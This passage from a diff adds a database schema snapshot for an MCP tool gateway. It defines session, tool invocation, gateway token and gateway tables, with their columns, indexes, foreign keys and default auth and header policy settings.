+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_gateway_sessions_token_hash_uq": {
+          "name": "tool_gateway_sessions_token_hash_uq",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_company_agent_idx": {
+          "name": "tool_gateway_sessions_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_company_expires_idx": {
+          "name": "tool_gateway_sessions_company_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_run_idx": {
+          "name": "tool_gateway_sessions_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_issue_idx": {
+          "name": "tool_gateway_sessions_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_gateway_idx": {
+          "name": "tool_gateway_sessions_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_gateway_sessions_company_id_companies_id_fk": {
+          "name": "tool_gateway_sessions_company_id_companies_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_agent_id_agents_id_fk": {
+          "name": "tool_gateway_sessions_agent_id_agents_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_gateway_sessions_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_issue_id_issues_id_fk": {
+          "name": "tool_gateway_sessions_issue_id_issues_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_project_id_projects_id_fk": {
+          "name": "tool_gateway_sessions_project_id_projects_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_invocations": {
+      "name": "tool_invocations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_version_hash": {
+          "name": "catalog_version_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_schema_hash": {
+          "name": "catalog_schema_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_type": {
+          "name": "provider_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_key": {
+          "name": "application_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "upstream_tool_name": {
+          "name": "upstream_tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "arguments_hash": {
+          "name": "arguments_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "arguments_summary": {
+          "name": "arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_decision": {
+          "name": "policy_decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_policy_ids": {
+          "name": "matched_policy_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "policy_explanation": {
+          "name": "policy_explanation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_summary": {
+          "name": "credential_scope_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "header_policy_summary": {
+          "name": "header_policy_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_state": {
+          "name": "approval_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'not_required'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "upstream_request_id": {
+          "name": "upstream_request_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_hash": {
+          "name": "result_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_summary": {
+          "name": "result_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_size_bytes": {
+          "name": "result_size_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_artifact_id": {
+          "name": "result_artifact_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_invocations_company_created_idx": {
+          "name": "tool_invocations_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_run_idx": {
+          "name": "tool_invocations_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_issue_idx": {
+          "name": "tool_invocations_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_gateway_idx": {
+          "name": "tool_invocations_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_company_idempotency_uq": {
+          "name": "tool_invocations_company_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_invocations_company_id_companies_id_fk": {
+          "name": "tool_invocations_company_id_companies_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_agent_id_agents_id_fk": {
+          "name": "tool_invocations_agent_id_agents_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_issue_id_issues_id_fk": {
+          "name": "tool_invocations_issue_id_issues_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_invocations_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_invocations_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_application_id_tool_applications_id_fk": {
+          "name": "tool_invocations_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_connection_id_tool_connections_id_fk": {
+          "name": "tool_invocations_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_mcp_gateway_tokens": {
+      "name": "tool_mcp_gateway_tokens",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token_prefix": {
+          "name": "token_prefix",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "subject_type": {
+          "name": "subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gateway_client'"
+        },
+        "subject_id": {
+          "name": "subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_label": {
+          "name": "client_label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "owner_note": {
+          "name": "owner_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "allowed_actions": {
+          "name": "allowed_actions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[\"tools/list\",\"tools/call\"]'::jsonb"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_reason": {
+          "name": "expiry_override_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_by_user_id": {
+          "name": "expiry_override_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_by_agent_id": {
+          "name": "expiry_override_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_at": {
+          "name": "expiry_override_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_mcp_gateway_tokens_token_hash_uq": {
+          "name": "tool_mcp_gateway_tokens_token_hash_uq",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_gateway_idx": {
+          "name": "tool_mcp_gateway_tokens_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_subject_idx": {
+          "name": "tool_mcp_gateway_tokens_subject_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_company_expires_idx": {
+          "name": "tool_mcp_gateway_tokens_company_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_mcp_gateway_tokens_company_id_companies_id_fk": {
+          "name": "tool_mcp_gateway_tokens_company_id_companies_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "expiry_override_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_mcp_gateways": {
+      "name": "tool_mcp_gateways",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gw_' || replace(gen_random_uuid()::text, '-', '')"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "display_slug": {
+          "name": "display_slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "default_profile_mode": {
+          "name": "default_profile_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gateway_only'"
+        },
+        "context_scope_type": {
+          "name": "context_scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "context_scope_id": {
+          "name": "context_scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_issue_id": {
+          "name": "approval_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "auth_config": {
+          "name": "auth_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"bearer\":{\"enabled\":true,\"tokenPrefix\":\"pcgw\",\"defaultTtlSeconds\":7776000,\"requireFiniteExpiry\":true,\"longLivedTokenRequiresOverride\":true},\"oauth\":{\"enabled\":false,\"reservedFor\":\"v1_5\",\"dynamicClientRegistration\":false,\"authorizationCodePkce\":false}}'::jsonb"
+        },
+        "header_policy": {
+          "name": "header_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"callerPassthrough\":{\"enabled\":false,\"allowedHeaders\":[]},\"staticHeaders\":[],\"generatedMetadata\":{\"enabled\":false,\"allowedHeaders\":[]},\"responseHeaders\":{\"forwardMcpRequiredHeaders\":true,\"forwardSafeCacheHeaders\":true}}'::jsonb"
+        },
+        "metadata_policy": {
+          "name": "metadata_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"forwardCompanyId\":false,\"forwardGatewayId\":false,\"forwardProjectId\":false,\"forwardIssueId\":false,\"forwardAgentId\":false,\"forwardRunId\":false,\"forwardCorrelationId\":true}'::jsonb"
+        },
+        "on_demand_tools_config": {
+          "name": "on_demand_tools_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"enabled\":false,\"searchToolName\":\"search_tools\",\"runToolName\":\"run_tool\"}'::jsonb"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_mcp_gateways_company_idx": {
+          "name": "tool_mcp_gateways_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_status_idx": {
+          "name": "tool_mcp_gateways_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_profile_idx": {
+          "name": "tool_mcp_gateways_profile_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_public_id_uq": {
+          "name": "tool_mcp_gateways_public_id_uq",
+          "columns": [
+            {
+              "expression": "gateway_public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_slug_uq": {
+          "name": "tool_mcp_gateways_company_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
